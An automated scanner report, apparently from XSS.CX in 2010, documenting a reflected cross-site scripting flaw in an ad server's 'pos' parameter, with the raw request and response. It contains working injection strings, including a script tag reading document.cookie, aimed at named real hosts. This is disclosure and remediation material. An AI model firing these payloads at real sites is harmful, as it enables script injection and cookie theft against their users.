The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff8fc'-alert(1)-'08d38b27fa was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/passenger_car_leasing;pos=ff8fc'-alert(1)-'08d38b27fa HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:04:59 GMT
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
Content-Length: 7098

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
t language="Javascript">CollectiveMedia.createAndAttachAd("manta-36000427_1291226699","http://ad.doubleclick.net/adj/manta.comp/passenger_car_leasing;net=manta;u=,manta-36000427_1291226699,,none,;;pos=ff8fc'-alert(1)-'08d38b27fa;contx=none;dc=d;btg=?","0","0",false);</scr'+'ipt>
...[SNIP]...

Report generated by XSS.CX at Thu Dec 02 12:53:02 CST 2010.